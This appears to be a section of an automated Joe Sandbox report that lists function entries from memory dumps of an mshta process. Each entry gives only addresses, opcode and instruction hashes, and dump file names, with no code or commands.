                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_83b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: 043348ff327122d5eaba7a7807e6ea448751f40af63d224f1b713ca7b7fca592
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 083B0F89 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.974587556.00000000083B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 083B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_83b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: 043348ff327122d5eaba7a7807e6ea448751f40af63d224f1b713ca7b7fca592
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0E81 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0E99 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0AB9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0AC1 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B02D9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B02D1 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0EF1 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0E39 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0279 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0A79 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0F89 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0FA9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0FC1 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0B09 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0F21 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0B41 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0B59 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0F59 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0769 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0F61 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0761 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0F79 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0F71 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0B71 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0C89 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B08E1 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0829 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0C79 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0589 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0989 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0999 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0991 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B05A9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
